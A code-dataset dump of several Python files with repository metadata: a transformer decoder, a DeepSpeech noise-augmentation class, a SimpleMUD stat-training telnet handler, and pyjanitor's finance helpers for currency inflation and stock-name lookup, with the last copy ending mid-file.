embed_tokens.padding_idx self.max_target_positions = cfg.max_target_positions self.embed_tokens = embed_tokens self.embed_scale = math.sqrt(embed_dim) self.project_in_dim = ( Linear(input_embed_dim, embed_dim, bias=False) if embed_dim != input_embed_dim else None ) self.embed_positions = ( PositionalEmbedding( cfg.max_target_positions, embed_dim, padding_idx, learned=cfg.decoder_learned_pos, ) if not cfg.no_token_positional_embeddings else None ) transformer_cfg = copy.deepcopy(cfg) with open_dict(transformer_cfg): transformer_cfg.dropout = transformer_cfg.decoder_dropout transformer_cfg.attention_dropout = ( transformer_cfg.decoder_attention_dropout ) transformer_cfg.activation_dropout = ( transformer_cfg.decoder_activation_dropout ) self.layers = nn.ModuleList([]) self.layers.extend( [ TransformerDecoderLayer(transformer_cfg, no_encoder_attn) for _ in range(transformer_cfg.decoder_layers) ] ) if not self.share_input_output_embed: self.embed_out = nn.Parameter( torch.Tensor(len(dictionary), self.output_embed_dim) ) nn.init.normal_(self.embed_out, mean=0, std=self.output_embed_dim ** -0.5) if transformer_cfg.decoder_normalize_before: self.layer_norm = LayerNorm(embed_dim) else: self.layer_norm = None def forward( self, prev_output_tokens, encoder_out=None, incremental_state=None, **unused ): prev_output_tokens = prev_output_tokens.long() x, extra = self.extract_features( prev_output_tokens, encoder_out, incremental_state ) x = self.output_layer(x) return x, extra def extract_features( self, prev_output_tokens, encoder_out=None, incremental_state=None, **unused ): positions = ( self.embed_positions( prev_output_tokens, incremental_state=incremental_state ) if self.embed_positions is not None else None ) if incremental_state is not None: prev_output_tokens = prev_output_tokens[:, -1:] if positions is not None: positions = positions[:, -1:] x = self.embed_scale * self.embed_tokens(prev_output_tokens) if self.project_in_dim is not None: x = self.project_in_dim(x) if positions is not None: x += positions x = F.dropout(x, p=self.dropout, training=self.training) x = x.transpose(0, 1) attn = None inner_states = [x] for layer in self.layers: dropout_probability = np.random.random() if not self.training or (dropout_probability > self.layerdrop): x, attn, _ = layer( x, encoder_out["encoder_out"] if encoder_out is not None else None, encoder_out["encoder_padding_mask"] if encoder_out is not None else None, incremental_state, self_attn_mask=self.buffered_future_mask(x) if incremental_state is None else None, ) inner_states.append(x) if self.layer_norm: x = self.layer_norm(x) x = x.transpose(0, 1) return x, {"attn": attn, "inner_states": inner_states} def output_layer(self, features, **kwargs): if self.share_input_output_embed: return F.linear(features, self.embed_tokens.weight) else: return F.linear(features, self.embed_out) def max_positions(self): if self.embed_positions is None: return self.max_target_positions return min(self.max_target_positions, self.embed_positions.max_positions) def buffered_future_mask(self, tensor): dim = tensor.size(0) if ( not hasattr(self, "_future_mask") or self._future_mask is None or self._future_mask.device != tensor.device or self._future_mask.size(0) < dim ): self._future_mask = torch.triu( utils.fill_with_neg_inf(tensor.new(dim, dim)), 1 ) return self._future_mask[:dim, :dim] def upgrade_state_dict_named(self, state_dict, name): return state_dict def Embedding(num_embeddings, embedding_dim, padding_idx): m = nn.Embedding(num_embeddings, embedding_dim, padding_idx=padding_idx) nn.init.normal_(m.weight, mean=0, std=embedding_dim ** -0.5) nn.init.constant_(m.weight[padding_idx], 0) return m def Linear(in_features, out_features, bias=True): m = nn.Linear(in_features, out_features, bias) nn.init.xavier_uniform_(m.weight) if bias: nn.init.constant_(m.bias, 0.0) return m

true

790b0c39682933c1feb2c6fab90ea0c2e8d189c6

2,733

py

Python

deepspeech/frontend/augmentor/noise_perturb.py

zh794390558/DeepSpeech

34178893327ad359cb816e55d7c66a10244fa08a

[ "Apache-2.0" ]

null

deepspeech/frontend/augmentor/noise_perturb.py

zh794390558/DeepSpeech

34178893327ad359cb816e55d7c66a10244fa08a

[ "Apache-2.0" ]

null

deepspeech/frontend/augmentor/noise_perturb.py

zh794390558/DeepSpeech

34178893327ad359cb816e55d7c66a10244fa08a

[ "Apache-2.0" ]

null

# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Contains the noise perturb augmentation model.""" from deepspeech.frontend.audio import AudioSegment from deepspeech.frontend.augmentor.base import AugmentorBase from deepspeech.frontend.utility import read_manifest class NoisePerturbAugmentor(AugmentorBase): """Augmentation model for adding background noise. :param rng: Random generator object. :type rng: random.Random :param min_snr_dB: Minimal signal noise ratio, in decibels. :type min_snr_dB: float :param max_snr_dB: Maximal signal noise ratio, in decibels. :type max_snr_dB: float :param noise_manifest_path: Manifest path for noise audio data. :type noise_manifest_path: str """ def __init__(self, rng, min_snr_dB, max_snr_dB, noise_manifest_path): self._min_snr_dB = min_snr_dB self._max_snr_dB = max_snr_dB self._rng = rng self._noise_manifest = read_manifest(manifest_path=noise_manifest_path) def __call__(self, x, uttid=None, train=True): if not train: return x self.transform_audio(x) return x def transform_audio(self, audio_segment): """Add background noise audio. Note that this is an in-place transformation. :param audio_segment: Audio segment to add effects to. :type audio_segment: AudioSegmenet|SpeechSegment """ noise_json = self._rng.choice(self._noise_manifest, 1, replace=False)[0] if noise_json['duration'] < audio_segment.duration: raise RuntimeError("The duration of sampled noise audio is smaller " "than the audio segment to add effects to.") diff_duration = noise_json['duration'] - audio_segment.duration start = self._rng.uniform(0, diff_duration) end = start + audio_segment.duration noise_segment = AudioSegment.slice_from_file( noise_json['audio_filepath'], start=start, end=end) snr_dB = self._rng.uniform(self._min_snr_dB, self._max_snr_dB) audio_segment.add_noise( noise_segment, snr_dB, allow_downsampling=True, rng=self._rng)

42.046154

80

0.71094

from deepspeech.frontend.audio import AudioSegment from deepspeech.frontend.augmentor.base import AugmentorBase from deepspeech.frontend.utility import read_manifest class NoisePerturbAugmentor(AugmentorBase): def __init__(self, rng, min_snr_dB, max_snr_dB, noise_manifest_path): self._min_snr_dB = min_snr_dB self._max_snr_dB = max_snr_dB self._rng = rng self._noise_manifest = read_manifest(manifest_path=noise_manifest_path) def __call__(self, x, uttid=None, train=True): if not train: return x self.transform_audio(x) return x def transform_audio(self, audio_segment): noise_json = self._rng.choice(self._noise_manifest, 1, replace=False)[0] if noise_json['duration'] < audio_segment.duration: raise RuntimeError("The duration of sampled noise audio is smaller " "than the audio segment to add effects to.") diff_duration = noise_json['duration'] - audio_segment.duration start = self._rng.uniform(0, diff_duration) end = start + audio_segment.duration noise_segment = AudioSegment.slice_from_file( noise_json['audio_filepath'], start=start, end=end) snr_dB = self._rng.uniform(self._min_snr_dB, self._max_snr_dB) audio_segment.add_noise( noise_segment, snr_dB, allow_downsampling=True, rng=self._rng)

true

790b0c51e0ac839b5fdaf84458d325b4adaeab5a

3,221

py

Python

src/training_handler.py

tobynance/simple_mud

c9be32327fcab0c9bd37fabedb7dd566709b7d48

[ "MIT" ]

6

2015-04-24T13:09:37.000Z

2022-01-27T01:12:47.000Z

src/training_handler.py

tobynance/simple_mud

c9be32327fcab0c9bd37fabedb7dd566709b7d48

[ "MIT" ]

15

2015-03-09T00:07:55.000Z

2015-03-10T02:30:23.000Z

src/training_handler.py

tobynance/simple_mud

c9be32327fcab0c9bd37fabedb7dd566709b7d48

[ "MIT" ]

2

2015-04-24T13:09:38.000Z

2020-12-22T08:40:07.000Z

import logging import player import telnet logger = logging.getLogger(__name__) ######################################################################## class TrainingHandler(telnet.MudTelnetHandler): #################################################################### def __init__(self, protocol, player): super(TrainingHandler, self).__init__(protocol) self.player = player #################################################################### def handle(self, data): if data == "quit": player.player_database.save() self.protocol.remove_handler() return if data in ["1", "2", "3"]: if self.player.stat_points > 0: self.player.stat_points -= 1 if data == "1": self.player.attributes.BASE_STRENGTH += 1 elif data == "2": self.player.attributes.BASE_HEALTH += 1 else: self.player.attributes.BASE_AGILITY += 1 self.print_stats(True) else: logger.warn("unknown command: %s", data) self.send("<reset><clearscreen><red>Unknown Command '%s'<newline>" % data) self.print_stats(False) #################################################################### def enter(self): self.player.active = False if self.player.newbie: self.send(("<magenta><bold>Welcome to SimpleMUD, %s!\r\n" + "You must train your character with your desired stats,\r\n" + "before you enter the realm.\r\n\r\n") % self.player.name) self.player.newbie = False self.print_stats(False) #################################################################### def hung_up(self): logger.warn("%s - hung up in %s", self.protocol.get_remote_address(), self.__class__.__name__) player.player_database.logout(self.player.id) #################################################################### def flooded(self): logger.warn("%s - flooded in %s", self.protocol.get_remote_address(), self.__class__.__name__) player.player_database.logout(self.player.id) #################################################################### def print_stats(self, clear_screen=True): message = [] if clear_screen: message.append("<clearscreen>") message += ["<white><bold>"] message.append("---------------------- Your Stats ----------------------\r\n") message.append("<dim>") message.append("Player: %s\r\n" % self.player.name) message.append("Stat Points Left: %s\r\n" % self.player.stat_points) message.append("1) Strength: %s\r\n" % self.player.attributes.STRENGTH) message.append("2) Health: %s\r\n" % self.player.attributes.HEALTH) message.append("3) Agility: %s\r\n" % self.player.attributes.AGILITY) message.append("<bold>") message.append("--------------------------------------------------------\r\n") message.append("Enter 1, 2, or 3 to add a stat point, or \"quit\" to go back: ") self.send("".join(message))

43.527027

102

0.473455

import logging import player import telnet logger = logging.getLogger(__name__)

true

790b0d93c0d982713add4a368d7b247ccff99111

21,921

py

Python

janitor/finance.py

thatlittleboy/pyjanitor

f7977e00d3d9bf49aebeaa62db2965a668c50c90

[ "MIT" ]

null

janitor/finance.py

thatlittleboy/pyjanitor

f7977e00d3d9bf49aebeaa62db2965a668c50c90

[ "MIT" ]

null

janitor/finance.py

thatlittleboy/pyjanitor

f7977e00d3d9bf49aebeaa62db2965a668c50c90

[ "MIT" ]

null

""" Finance-specific data cleaning functions. """ import json from datetime import date from functools import lru_cache import pandas as pd import pandas_flavor as pf import requests from janitor.errors import JanitorError from .utils import check, deprecated_alias, is_connected currency_set = { "AUD", "BGN", "BRL", "CAD", "CHF", "CNY", "CZK", "DKK", "EUR", "GBP", "HKD", "HRK", "HUF", "IDR", "ILS", "INR", "ISK", "JPY", "KRW", "MXN", "MYR", "NOK", "NZD", "PHP", "PLN", "RON", "RUB", "SEK", "SGD", "THB", "TRY", "USD", "ZAR", } # Dictionary of recognized World Bank countries and their abbreviations wb_country_dict = { "Aruba": "ABW", "Afghanistan": "AFG", "Angola": "AGO", "Albania": "ALB", "Andorra": "AND", "Arab World": "ARB", "United Arab Emirates": "ARE", "Argentina": "ARG", "Armenia": "ARM", "American Samoa": "ASM", "Antigua and Barbuda": "ATG", "Australia": "AUS", "Austria": "AUT", "Azerbaijan": "AZE", "Burundi": "BDI", "Belgium": "BEL", "Benin": "BEN", "Burkina Faso": "BFA", "Bangladesh": "BGD", "Bulgaria": "BGR", "Bahrain": "BHR", "Bahamas, The": "BHS", "Bosnia and Herzegovina": "BIH", "Belarus": "BLR", "Belize": "BLZ", "Bermuda": "BMU", "Bolivia": "BOL", "Brazil": "BRA", "Barbados": "BRB", "Brunei Darussalam": "BRN", "Bhutan": "BTN", "Botswana": "BWA", "Central African Republic": "CAF", "Canada": "CAN", "Central Europe and the Baltics": "CEB", "Switzerland": "CHE", "Channel Islands": "CHI", "Chile": "CHL", "China": "CHN", "Cote d'Ivoire": "CIV", "Cameroon": "CMR", "Congo, Dem. Rep.": "COD", "Congo, Rep.": "COG", "Colombia": "COL", "Comoros": "COM", "Cabo Verde": "CPV", "Costa Rica": "CRI", "Caribbean small states": "CSS", "Cuba": "CUB", "Curacao": "CUW", "Cayman Islands": "CYM", "Cyprus": "CYP", "Czech Republic": "CZE", "Germany": "DEU", "Djibouti": "DJI", "Dominica": "DMA", "Denmark": "DNK", "Dominican Republic": "DOM", "Algeria": "DZA", "East Asia & Pacific (excluding high income)": "EAP", "Early-demographic dividend": "EAR", "East Asia & Pacific": "EAS", "Europe & Central Asia (excluding high income)": "ECA", "Europe & Central Asia": "ECS", "Ecuador": "ECU", "Egypt, Arab Rep.": "EGY", "Euro area": "EMU", "Eritrea": "ERI", "Spain": "ESP", "Estonia": "EST", "Ethiopia": "ETH", "European Union": "EUU", "Fragile and conflict affected situations": "FCS", "Finland": "FIN", "Fiji": "FJI", "France": "FRA", "Faroe Islands": "FRO", "Micronesia, Fed. Sts.": "FSM", "Gabon": "GAB", "United Kingdom": "GBR", "Georgia": "GEO", "Ghana": "GHA", "Gibraltar": "GIB", "Guinea": "GIN", "Gambia, The": "GMB", "Guinea-Bissau": "GNB", "Equatorial Guinea": "GNQ", "Greece": "GRC", "Grenada": "GRD", "Greenland": "GRL", "Guatemala": "GTM", "Guam": "GUM", "Guyana": "GUY", "High income": "HIC", "Hong Kong SAR, China": "HKG", "Honduras": "HND", "Heavily indebted poor countries (HIPC)": "HPC", "Croatia": "HRV", "Haiti": "HTI", "Hungary": "HUN", "IBRD only": "IBD", "IDA & IBRD total": "IBT", "IDA total": "IDA", "IDA blend": "IDB", "Indonesia": "IDN", "IDA only": "IDX", "Isle of Man": "IMN", "India": "IND", "Not classified": "INX", "Ireland": "IRL", "Iran, Islamic Rep.": "IRN", "Iraq": "IRQ", "Iceland": "ISL", "Israel": "ISR", "Italy": "ITA", "Jamaica": "JAM", "Jordan": "JOR", "Japan": "JPN", "Kazakhstan": "KAZ", "Kenya": "KEN", "Kyrgyz Republic": "KGZ", "Cambodia": "KHM", "Kiribati": "KIR", "St. Kitts and Nevis": "KNA", "Korea, Rep.": "KOR", "Kuwait": "KWT", "Latin America & Caribbean (excluding high income)": "LAC", "Lao PDR": "LAO", "Lebanon": "LBN", "Liberia": "LBR", "Libya": "LBY", "St. Lucia": "LCA", "Latin America & Caribbean": "LCN", "Least developed countries: UN classification": "LDC", "Low income": "LIC", "Liechtenstein": "LIE", "Sri Lanka": "LKA", "Lower middle income": "LMC", "Low & middle income": "LMY", "Lesotho": "LSO", "Late-demographic dividend": "LTE", "Lithuania": "LTU", "Luxembourg": "LUX", "Latvia": "LVA", "Macao SAR, China": "MAC", "St. Martin (French part)": "MAF", "Morocco": "MAR", "Monaco": "MCO", "Moldova": "MDA", "Madagascar": "MDG", "Maldives": "MDV", "Middle East & North Africa": "MEA", "Mexico": "MEX", "Marshall Islands": "MHL", "Middle income": "MIC", "North Macedonia": "MKD", "Mali": "MLI", "Malta": "MLT", "Myanmar": "MMR", "Middle East & North Africa (excluding high income)": "MNA", "Montenegro": "MNE", "Mongolia": "MNG", "Northern Mariana Islands": "MNP", "Mozambique": "MOZ", "Mauritania": "MRT", "Mauritius": "MUS", "Malawi": "MWI", "Malaysia": "MYS", "North America": "NAC", "Namibia": "NAM", "New Caledonia": "NCL", "Niger": "NER", "Nigeria": "NGA", "Nicaragua": "NIC", "Netherlands": "NLD", "Norway": "NOR", "Nepal": "NPL", "Nauru": "NRU", "New Zealand": "NZL", "OECD members": "OED", "Oman": "OMN", "Other small states": "OSS", "Pakistan": "PAK", "Panama": "PAN", "Peru": "PER", "Philippines": "PHL", "Palau": "PLW", "Papua New Guinea": "PNG", "Poland": "POL", "Pre-demographic dividend": "PRE", "Puerto Rico": "PRI", "Korea, Dem. People's Rep.": "PRK", "Portugal": "PRT", "Paraguay": "PRY", "West Bank and Gaza": "PSE", "Pacific island small states": "PSS", "Post-demographic dividend": "PST", "French Polynesia": "PYF", "Qatar": "QAT", "Romania": "ROU", "Russian Federation": "RUS", "Rwanda": "RWA", "South Asia": "SAS", "Saudi Arabia": "SAU", "Sudan": "SDN", "Senegal": "SEN", "Singapore": "SGP", "Solomon Islands": "SLB", "Sierra Leone": "SLE", "El Salvador": "SLV", "San Marino": "SMR", "Somalia": "SOM", "Serbia": "SRB", "Sub-Saharan Africa (excluding high income)": "SSA", "South Sudan": "SSD", "Sub-Saharan Africa": "SSF", "Small states": "SST", "Sao Tome and Principe": "STP", "Suriname": "SUR", "Slovak Republic": "SVK", "Slovenia": "SVN", "Sweden": "SWE", "Eswatini": "SWZ", "Sint Maarten (Dutch part)": "SXM", "Seychelles": "SYC", "Syrian Arab Republic": "SYR", "Turks and Caicos Islands": "TCA", "Chad": "TCD", "East Asia & Pacific (IDA & IBRD countries)": "TEA", "Europe & Central Asia (IDA & IBRD countries)": "TEC", "Togo": "TGO", "Thailand": "THA", "Tajikistan": "TJK", "Turkmenistan": "TKM", "Latin America & the Caribbean (IDA & IBRD countries)": "TLA", "Timor-Leste": "TLS", "Middle East & North Africa (IDA & IBRD countries)": "TMN", "Tonga": "TON", "South Asia (IDA & IBRD)": "TSA", "Sub-Saharan Africa (IDA & IBRD countries)": "TSS", "Trinidad and Tobago": "TTO", "Tunisia": "TUN", "Turkey": "TUR", "Tuvalu": "TUV", "Tanzania": "TZA", "Uganda": "UGA", "Ukraine": "UKR", "Upper middle income": "UMC", "Uruguay": "URY", "United States": "USA", "Uzbekistan": "UZB", "St. Vincent and the Grenadines": "VCT", "Venezuela, RB": "VEN", "British Virgin Islands": "VGB", "Virgin Islands (U.S.)": "VIR", "Vietnam": "VNM", "Vanuatu": "VUT", "World": "WLD", "Samoa": "WSM", "Kosovo": "XKX", "Yemen, Rep.": "YEM", "South Africa": "ZAF", "Zambia": "ZMB", "Zimbabwe": "ZWE", } def _check_currency(currency: str): """Check that currency is in supported set.""" if currency not in currency_set: raise ValueError( f"currency {currency} not in supported currency set, " f"{currency_set}" ) def _check_wb_country(country: str): """Check that world bank country is in supported set.""" if (country not in wb_country_dict.keys()) & ( country not in wb_country_dict.values() # noqa: PD011 ): raise ValueError( f"country {country} not in supported World Bank country dict, " f"{wb_country_dict}" ) def _check_wb_years(year: int): """Check that year is in world bank dataset years.""" if year < 1960: raise ValueError("year value must be 1960 or later") # @lru_cache(maxsize=32) # def _convert_currency( # api_key: str, # from_currency: str = None, # to_currency: str = None, # historical_date: Optional[date] = None, # ) -> float: # """ # Currency conversion for Pandas DataFrame column. # Helper function for `convert_currency` method. # The API used is https://exchangeratesapi.io/. # """ # url = "http://api.exchangeratesapi.io" # if historical_date: # check("historical_date", historical_date, [datetime, date]) # if isinstance(historical_date, datetime): # if historical_date < datetime(1999, 1, 4): # raise ValueError( # "historical_date:datetime must be later than 1999-01-04!" # ) # string_date = str(historical_date)[:10] # else: # if historical_date < date(1999, 1, 4): # raise ValueError( # "historical_date:date must be later than 1999-01-04!" # ) # string_date = str(historical_date) # url = url + "/%s" % string_date # else: # url = url + "/latest" # _check_currency(from_currency) # _check_currency(to_currency) # payload = { # # "base": from_currency, # "symbols": to_currency, # "access_key": api_key, # } # result = requests.get(url, params=payload) # if result.status_code != 200: # raise ConnectionError( # "Exchange Rate API failed to receive a 200 " # "response from the server. " # "Please try again later." # ) # currency_dict = json.loads(result.text) # rate = currency_dict["rates"][to_currency] # return rate @pf.register_dataframe_method @deprecated_alias(colname="column_name") def convert_currency( df: pd.DataFrame, api_key: str, column_name: str = None, from_currency: str = None, to_currency: str = None, historical_date: date = None, make_new_column: bool = False, ) -> pd.DataFrame: """Deprecated function.""" raise JanitorError( "The `convert_currency` function has been temporarily disabled due to " "exchangeratesapi.io disallowing free pinging of its API. " "(Our tests started to fail due to this issue.) " "There is no easy way around this problem " "except to find a new API to call on." "Please comment on issue #829 " "(https://github.com/pyjanitor-devs/pyjanitor/issues/829) " "if you know of an alternative API that we can call on, " "otherwise the function will be removed in pyjanitor's 1.0 release." ) # @pf.register_dataframe_method # @deprecated_alias(colname="column_name") # def convert_currency( # df: pd.DataFrame, # api_key: str, # column_name: str = None, # from_currency: str = None, # to_currency: str = None, # historical_date: date = None, # make_new_column: bool = False, # ) -> pd.DataFrame: # """ # Converts a column from one currency to another, with an option to # convert based on historical exchange values. # On April 10 2021, # we discovered that there was no more free API available. # Thus, an API key is required to perform currency conversion. # API keys should be set as an environment variable, # for example, `EXCHANGE_RATE_API_KEY``, # and then passed into the function # by calling on `os.getenv("EXCHANGE_RATE_APIKEY")``. # :param df: A pandas dataframe. # :param api_key: exchangeratesapi.io API key. # :param column_name: Name of the new column. Should be a string, in order # for the column name to be compatible with the Feather binary # format (this is a useful thing to have). # :param from_currency: The base currency to convert from. # May be any of: currency_set = {"AUD", "BGN", "BRL", "CAD", "CHF", # "CNY", "CZK", "DKK", "EUR", "GBP", "HKD", "HRK", "HUF", "IDR", # "ILS", "INR", "ISK", "JPY", "KRW", "MXN", "MYR", "NOK", "NZD", # "PHP", "PLN", "RON", "RUB", "SEK", "SGD", "THB", "TRY", "USD", # "ZAR"} # :param to_currency: The target currency to convert to. # May be any of: currency_set = {"AUD", "BGN", "BRL", "CAD", "CHF", # "CNY", "CZK", "DKK", "EUR", "GBP", "HKD", "HRK", "HUF", "IDR", # "ILS", "INR", "ISK", "JPY", "KRW", "MXN", "MYR", "NOK", "NZD", # "PHP", "PLN", "RON", "RUB", "SEK", "SGD", "THB", "TRY", "USD", # "ZAR"} # :param historical_date: If supplied, # get exchange rate on a certain date. # If not supplied, get the latest exchange rate. # The exchange rates go back to Jan. 4, 1999. # :param make_new_column: Generates new column # for converted currency if True, # otherwise, converts currency in place. # :returns: The dataframe with converted currency column. # .. code-block:: python # import pandas as pd # import janitor # from datetime import date # data_dict = { # "a": [1.23452345, 2.456234, 3.2346125] * 3, # "Bell__Chart": [1/3, 2/7, 3/2] * 3, # "decorated-elephant": [1/234, 2/13, 3/167] * 3, # "animals": ["rabbit", "leopard", "lion"] * 3, # "cities": ["Cambridge", "Shanghai", "Basel"] * 3, # } # example_dataframe = pd.DataFrame(data_dict) # Example: Converting a column from one currency to another # using rates from 01/01/2018. # .. code-block:: python # example_dataframe.convert_currency('a', from_currency='USD', # to_currency='EUR', historical_date=date(2018,1,1)) # Output: # .. code-block:: python # a Bell__Chart decorated-elephant animals cities # 0 1.029370 0.333333 0.004274 rabbit Cambridge # 1 2.048056 0.285714 0.153846 leopard Shanghai # 2 2.697084 1.500000 0.017964 lion Basel # 3 1.029370 0.333333 0.004274 rabbit Cambridge # 4 2.048056 0.285714 0.153846 leopard Shanghai # 5 2.697084 1.500000 0.017964 lion Basel # 6 1.029370 0.333333 0.004274 rabbit Cambridge # 7 2.048056 0.285714 0.153846 leopard Shanghai # 8 2.697084 1.500000 0.017964 lion Basel # """ # rate = _convert_currency( # api_key, from_currency, to_currency, historical_date # ) # if make_new_column: # # new_column_name = column_name + "_" + to_currency # column_name = column_name + "_" + to_currency # df = df.assign(column_name=df[column_name] * rate) # return df @lru_cache(maxsize=32) def _inflate_currency( country: str = None, currency_year: int = None, to_year: int = None ) -> float: """ Currency inflation for Pandas DataFrame column. Helper function for `inflate_currency` method. The API used is the World Bank Indicator API: https://datahelpdesk.worldbank.org/knowledgebase/articles/889392-about-the-indicators-api-documentation """ # Check all inputs are correct data type check("country", country, [str]) check("currency_year", currency_year, [int]) check("to_year", to_year, [int]) # Get WB country abbreviation _check_wb_country(country) if country in wb_country_dict.keys(): country = wb_country_dict[country] else: # `country` is already a correct abbreviation; do nothing pass _check_wb_years(currency_year) _check_wb_years(to_year) url = ( "https://api.worldbank.org/v2/country/" + country + "/indicator/FP.CPI.TOTL?date=" + str(min(currency_year, to_year)) + ":" + str(max(currency_year, to_year)) + "&format=json" ) result = requests.get(url) if result.status_code != 200: raise ConnectionError( "WB Indicator API failed to receive a 200 " "response from the server. " "Please try again later." ) # The API returns a list of two items; # the second item in the list is what we want inflation_dict = json.loads(result.text)[1] # Error checking if inflation_dict is None: raise ValueError( "The WB Indicator API returned nothing. " "This likely means the currency_year and " "to_year are outside of the year range for " "which the WB has inflation data for the " "specified country." ) # Create new dict with only the year and inflation values inflation_dict_ready = { int(inflation_dict[i]["date"]): float(inflation_dict[i]["value"]) for i in range(len(inflation_dict)) if inflation_dict[i]["value"] is not None } # Error catching if currency_year not in inflation_dict_ready.keys(): raise ValueError( f"The WB Indicator API does not have inflation " f"data for {currency_year} for {country}." ) if to_year not in inflation_dict_ready.keys(): raise ValueError( f"The WB Indicator API does not have inflation " f"data for {to_year} for {country}." ) inflator = ( inflation_dict_ready[to_year] / inflation_dict_ready[currency_year] ) return inflator @pf.register_dataframe_method def inflate_currency( df: pd.DataFrame, column_name: str = None, country: str = None, currency_year: int = None, to_year: int = None, make_new_column: bool = False, ) -> pd.DataFrame: """ Inflates a column of monetary values from one year to another, based on the currency's country. The provided country can be any economy name or code from the World Bank [list of economies] (https://databank.worldbank.org/data/download/site-content/CLASS.xls). **Note**: This method mutates the original DataFrame. Method chaining usage example: >>> import pandas as pd >>> import janitor.finance >>> df = pd.DataFrame({"profit":[100.10, 200.20, 300.30, 400.40, 500.50]}) >>> df profit 0 100.1 1 200.2 2 300.3 3 400.4 4 500.5 >>> df.inflate_currency( ... column_name='profit', ... country='USA', ... currency_year=2015, ... to_year=2018, ... make_new_column=True ... ) profit profit_2018 0 100.1 106.050596 1 200.2 212.101191 2 300.3 318.151787 3 400.4 424.202382 4 500.5 530.252978 :param df: A pandas DataFrame. :param column_name: Name of the column containing monetary values to inflate. :param country: The country associated with the currency being inflated. May be any economy or code from the World Bank [List of economies] (https://databank.worldbank.org/data/download/site-content/CLASS.xls). :param currency_year: The currency year to inflate from. The year should be 1960 or later. :param to_year: The currency year to inflate to. The year should be 1960 or later. :param make_new_column: Generates new column for inflated currency if True, otherwise, inflates currency in place. :returns: The dataframe with inflated currency column. """ inflator = _inflate_currency(country, currency_year, to_year) if make_new_column: new_column_name = column_name + "_" + str(to_year) df[new_column_name] = df[column_name] * inflator else: df[column_name] = df[column_name] * inflator return df def convert_stock(stock_symbol: str) -> str: """ This function takes in a stock symbol as a parameter, queries an API for the companies full name and returns it Functional usage example: ```python import janitor.finance janitor.finance.convert_stock("aapl") ``` :param stock_symbol: Stock ticker Symbol :raises ConnectionError: Internet connection is not available :returns: Full company name """ if is_connected("www.google.com"): stock_symbol = stock_symbol.upper() return get_symbol(stock_symbol) else: raise ConnectionError( "Connection Error: Client Not Connected to Internet" ) def get_symbol(symbol: str): """ This is a helper function to get a companies full name based on the stock symbol. Functional usage example: ```python import janitor.finance janitor.finance.get_symbol("aapl") ``` :param symbol: This is our stock symbol that we use to query the api for the companies full name. :return: Company full name """ result = requests.get( "http://d.yimg.com/autoc." + "finance.yahoo.com/autoc?query={}&region=1&lang=en".format(symbol) ).json() for x in result["ResultSet"]["Result"]: if x["symbol"] == symbol: return x["name"] else: return None

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import json from datetime import date from functools import lru_cache import pandas as pd import pandas_flavor as pf import requests from janitor.errors import JanitorError from .utils import check, deprecated_alias, is_connected currency_set = { "AUD", "BGN", "BRL", "CAD", "CHF", "CNY", "CZK", "DKK", "EUR", "GBP", "HKD", "HRK", "HUF", "IDR", "ILS", "INR", "ISK", "JPY", "KRW", "MXN", "MYR", "NOK", "NZD", "PHP", "PLN", "RON", "RUB", "SEK", "SGD", "THB", "TRY", "USD", "ZAR", } wb_country_dict = { "Aruba": "ABW", "Afghanistan": "AFG", "Angola": "AGO", "Albania": "ALB", "Andorra": "AND", "Arab World": "ARB", "United Arab Emirates": "ARE", "Argentina": "ARG", "Armenia": "ARM", "American Samoa": "ASM", "Antigua and Barbuda": "ATG", "Australia": "AUS", "Austria": "AUT", "Azerbaijan": "AZE", "Burundi": "BDI", "Belgium": "BEL", "Benin": "BEN", "Burkina Faso": "BFA", "Bangladesh": "BGD", "Bulgaria": "BGR", "Bahrain": "BHR", "Bahamas, The": "BHS", "Bosnia and Herzegovina": "BIH", "Belarus": "BLR", "Belize": "BLZ", "Bermuda": "BMU", "Bolivia": "BOL", "Brazil": "BRA", "Barbados": "BRB", "Brunei Darussalam": "BRN", "Bhutan": "BTN", "Botswana": "BWA", "Central African Republic": "CAF", "Canada": "CAN", "Central Europe and the Baltics": "CEB", "Switzerland": "CHE", "Channel Islands": "CHI", "Chile": "CHL", "China": "CHN", "Cote d'Ivoire": "CIV", "Cameroon": "CMR", "Congo, Dem. Rep.": "COD", "Congo, Rep.": "COG", "Colombia": "COL", "Comoros": "COM", "Cabo Verde": "CPV", "Costa Rica": "CRI", "Caribbean small states": "CSS", "Cuba": "CUB", "Curacao": "CUW", "Cayman Islands": "CYM", "Cyprus": "CYP", "Czech Republic": "CZE", "Germany": "DEU", "Djibouti": "DJI", "Dominica": "DMA", "Denmark": "DNK", "Dominican Republic": "DOM", "Algeria": "DZA", "East Asia & Pacific (excluding high income)": "EAP", "Early-demographic dividend": "EAR", "East Asia & Pacific": "EAS", "Europe & Central Asia (excluding high income)": "ECA", "Europe & Central Asia": "ECS", "Ecuador": "ECU", "Egypt, Arab Rep.": "EGY", "Euro area": "EMU", "Eritrea": "ERI", "Spain": "ESP", "Estonia": "EST", "Ethiopia": "ETH", "European Union": "EUU", "Fragile and conflict affected situations": "FCS", "Finland": "FIN", "Fiji": "FJI", "France": "FRA", "Faroe Islands": "FRO", "Micronesia, Fed. Sts.": "FSM", "Gabon": "GAB", "United Kingdom": "GBR", "Georgia": "GEO", "Ghana": "GHA", "Gibraltar": "GIB", "Guinea": "GIN", "Gambia, The": "GMB", "Guinea-Bissau": "GNB", "Equatorial Guinea": "GNQ", "Greece": "GRC", "Grenada": "GRD", "Greenland": "GRL", "Guatemala": "GTM", "Guam": "GUM", "Guyana": "GUY", "High income": "HIC", "Hong Kong SAR, China": "HKG", "Honduras": "HND", "Heavily indebted poor countries (HIPC)": "HPC", "Croatia": "HRV", "Haiti": "HTI", "Hungary": "HUN", "IBRD only": "IBD", "IDA & IBRD total": "IBT", "IDA total": "IDA", "IDA blend": "IDB", "Indonesia": "IDN", "IDA only": "IDX", "Isle of Man": "IMN", "India": "IND", "Not classified": "INX", "Ireland": "IRL", "Iran, Islamic Rep.": "IRN", "Iraq": "IRQ", "Iceland": "ISL", "Israel": "ISR", "Italy": "ITA", "Jamaica": "JAM", "Jordan": "JOR", "Japan": "JPN", "Kazakhstan": "KAZ", "Kenya": "KEN", "Kyrgyz Republic": "KGZ", "Cambodia": 